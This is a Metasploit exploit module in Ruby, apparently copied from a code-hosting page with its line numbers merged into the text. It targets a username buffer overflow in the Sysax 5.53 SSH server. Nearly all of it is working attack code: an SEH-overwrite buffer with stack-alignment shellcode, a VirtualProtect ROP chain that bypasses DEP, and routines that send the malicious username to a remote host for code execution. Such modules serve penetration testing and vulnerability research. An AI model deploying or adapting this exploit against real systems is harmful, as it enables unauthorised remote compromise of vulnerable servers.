Path: blob/master/modules/exploits/windows/ssh/sysax_ssh_username.rb
24494 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::SSH1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Sysax 5.53 SSH Username Buffer Overflow',16'Description' => %q{17This module exploits a vulnerability found in Sysax's SSH service. By18supplying a long username, the SSH server will copy that data on the stack19without proper bounds checking, therefore allowing remote code execution20under the context of the user. Please note that previous versions21(before 5.53) are also affected by this bug.22},23'License' => MSF_LICENSE,24'Author' => [25'Craig Freyman', # Initial discovery, PoC26'sinn3r' # Metasploit27],28'References' => [29['CVE', '2012-10060'],30['OSVDB', '79689'],31['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],32['EDB', '18535']33],34'Payload' => {35'Space' => 1024,36'BadChars' => "\x00\x3a",37'StackAdjustment' => -350038},39'DefaultOptions' => {40'EXITFUNC' => 'seh'41},42'Platform' => 'win',43'Targets' => [44[45'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',46{47'Rop' => false,48'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe49}50],51[52'Sysax 5.53 on Win2K3 SP1/SP2',53{54'Rop' => true,55'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN56}57]58],59'Privileged' => false,60'DisclosureDate' => '2012-02-27',61'DefaultTarget' => 0,62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)6970register_options(71[ OptInt.new('RPORT', [false, 'The target port', 22]) ]72)73end7475def check76begin77connect78banner = sock.get_once(-1, 5) || ''79disconnect80vprint_status("Banner: #{banner}")81if banner.match?(/SSH-2\.0-SysaxSSH_1\.0/)82return Exploit::CheckCode::Appears83end84rescue StandardError85vprint_error('An error has occurred while trying to read a response from target')86return Exploit::CheckCode::Unknown87end8889Exploit::CheckCode::Safe90end9192def generate_regular_exploit93#94# Align the stack to the beginning of the fixed size payload95#96align = "\x54" # PUSH ESP97align << "\x58" # POP EAX98align << "\x04\x08" # ADD AL,0x0899align << "\x8b\x18" # MOV EBX, [EAX]100align << "\x93" # XCHG EAX,EBX101align << "\x66\x2d\x10\x04" # SUB AX,0x361102align << "\x50" # PUSH EAX103align << "\xc3" # RET104105#106# Our payload limited to 1024+4 bytes107#108p = make_nops(4)109p << payload.encoded110111#112# Craft the buffer like this:113# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]114# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room115# for the IP length, so the next 9404-byte space will begin at a consistent place.116# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a117# partial-overwrite to allow a null byte in SEH.118#119buf = ''120buf << rand_text(392, payload_badchars)121buf << rand_text(20, payload_badchars)122buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20123buf << p124buf << align125buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back126buf << [target.ret].pack('V*')127buf128end129130def generate_rop_exploit131junk = rand_text(4).unpack('L')[0].to_i132nop = make_nops(4).unpack('L')[0].to_i133134# !mona rop -m msvcrt135p =136[1370x77bb2563, # POP EAX # RETN1380x77ba1114, # <- *&VirtualProtect()1390x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN140junk,1410x77bb0c86, # XCHG EAX,ESI # RETN1420x77bc9801, # POP EBP # RETN1430x77be2265, # ptr to 'push esp # ret'1440x77bb2563, # POP EAX # RETN1450x03C0990F,1460x77bdd441, # SUB EAX, 03c0940f1470x77bb48d3, # POP EBX, RET1480x77bf21e0, # .data1490x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN1500x77bbfc02, # POP ECX # RETN1510x77bef001, # W pointer (lpOldProtect) (-> ecx)1520x77bd8c04, # POP EDI # RETN1530x77bd8c05, # ROP NOP (-> edi)1540x77bb2563, # POP EAX # RETN1550x03c0984f,1560x77bdd441, # SUB EAX, 03c0940f1570x77bb8285, # XCHG EAX,EDX # RETN1580x77bb2563, # POP EAX # RETN159nop,1600x77be6591, # PUSHAD # ADD AL,0EF # RETN161].pack('V*')162163p << payload.encoded164165#166# Similar buffer structure to generate_regular_exploit167#168buf = ''169buf << rand_text(392, payload_badchars)170buf << rand_text(20, payload_badchars)171buf << rand_text(1012, payload_badchars)172buf << p173buf << rand_text(9204 - buf.length)174buf << rand_text(4, payload_badchars)175buf << [target.ret].pack('V*')176buf177end178179def exploit180#181# Create buffer based on target (DEP or no DEP)182# If possible, we still prefer to use the regular version because it's more stable183#184if target['Rop']185buf = generate_rop_exploit186else187buf = generate_regular_exploit188end189190#191# Send the malicious buffer192#193pass = rand_text_alpha(8)194begin195print_status("Sending malicious request to #{rhost}:#{rport}...")196factory = ssh_socket_factory197ssh = Net::SSH.start(198datastore['RHOST'],199buf,200password: pass,201port: datastore['RPORT'],202timeout: 1,203proxy: factory,204config: false,205non_interactive: true,206verify_host_key: :never207)208209::Timeout.timeout(1) { ssh.close }210rescue Errno::ECONNREFUSED211print_error("Cannot establish a connection on #{rhost}:#{rport}")212return213rescue StandardError => e214if e.message.match?(/fingerprint [0-9a-z:]+ does not match/)215print_error("Please remove #{rhost}:#{rport} from your known_hosts list")216return217end218end219220handler(ssh)221end222end223224225